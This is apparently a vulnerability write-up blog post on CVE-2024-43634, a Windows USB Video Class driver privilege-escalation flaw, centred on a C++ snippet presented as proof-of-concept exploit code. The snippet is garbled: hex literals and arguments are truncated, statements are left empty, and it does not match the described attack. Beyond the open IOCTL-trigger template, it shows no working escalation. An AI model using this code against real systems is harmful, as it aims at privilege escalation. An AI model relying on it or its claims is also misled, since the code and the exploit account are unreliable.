CVE-2024-43634: Windows USB Video Class System Driver Elevation of Privilege Vulnerability – Insights, Code Snippets, and Exploit Details

Security researchers have discovered a critical security vulnerability in the Windows Operating System, which has been assigned CVE-2024-43634. This vulnerability targets the Windows USB Video Class (UVC) system driver and allows an attacker to escalate their privileges on the victim's system. This post aims to provide insights into this vulnerability, explain how it can be exploited, and share code snippets and reference material to help understand the underlying issue.

Background

Windows USB Video Class (UVC) system driver is responsible for managing USB webcams and other UVC compliant video devices connected to a Windows machine. The vulnerability results from the way the Windows UVC driver improperly handles objects in memory during parsing of a maliciously crafted video stream.

Exploit Details

By exploiting this vulnerability, an attacker who already has control of a low-privilege account on the victim's machine can run a specially crafted application to elevate their privileges to SYSTEM-level. This could potentially allow the attacker to execute arbitrary code, install malware, or gain full access to the user's data and settings.

The PoC (Proof of Concept) of this exploit focuses on sending a malicious video stream to the UVC driver by setting the video device's descriptor and encoding appropriate stream data. The attacker can then trigger the UVC driver's memory corruption and gain control of the system.

Here is a snippet of the exploit code

// Include necessary libraries:
#include <Windows.h>
#include <vector>
#include <cstdio>
#include <strsafe.h>

// Define UVC-specific details:
#define UVC_TARGET_DEVICE "\\Device\\00000053"
#define IOCTL_TRIGGER_VULN CTL_CODE(FILE_DEVICE_UNKNOWN, xFFFF, METHOD_NEITHER, FILE_ANY_ACCESS)

// Main function:
int main() {
  HANDLE hDevice = CreateFileA(UVC_TARGET_DEVICE, GENERIC_READ | GENERIC_WRITE, , nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("Error: Unable to open UVC device handle.\n");
    return 1;
  }

  printf("UVC device handle acquired.\n");
  std::vector<DWORD> trigger_buffer(x200, x11223344); // Construct a trigger buffer with malicious data
  DWORD bytes_returned = ;

  // Send the IOCTL to trigger the vulnerability:
  BOOL trigger_result = DeviceIoControl(hDevice, IOCTL_TRIGGER_VULN, &trigger_buffer[], trigger_buffer.size() * sizeof(DWORD), nullptr, , &bytes_returned, nullptr);

  if (!trigger_result) {
    printf("Error: Unable to trigger the vulnerability.\n");
    CloseHandle(hDevice);
    return 1;
  }

  printf("Vulnerability triggered successfully.\n");
  CloseHandle(hDevice);
  return ;
}

Original References

The vulnerability was initially reported by security researchers, and the information was disseminated through the following sources:

1. MITRE - Common Vulnerabilities and Exposures (CVE) Database
2. Microsoft Security Response Center (MSRC)

Mitigation

Microsoft has acknowledged the vulnerability (CVE-2024-43634) and has released security updates to address the issue. Users are strongly advised to apply the security patches as soon as possible to protect their systems against this threat.

Conclusion

CVE-2024-43634 is a critical vulnerability in the Windows USB Video Class (UVC) system driver, which could lead to the elevation of privilege on a targeted system. By understanding its exploit details, analyzing the provided code snippet, and referring to the original sources, we hope this post helps in comprehending the severity of the issue and taking necessary precautions to stay protected.

Timeline

Published on: 11/12/2024 18:15:32 UTC
Last modified on: 11/22/2024 15:48:59 UTC